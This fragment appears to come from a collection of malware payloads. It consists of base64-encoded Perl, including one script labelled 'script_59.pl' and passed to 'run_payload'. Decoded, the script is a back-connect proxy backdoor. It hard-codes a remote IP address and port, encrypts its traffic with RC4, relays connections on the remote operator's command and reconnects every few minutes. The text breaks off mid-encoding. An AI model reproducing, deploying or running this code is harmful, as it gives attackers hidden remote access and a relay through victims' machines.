pIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_59.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjAxJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1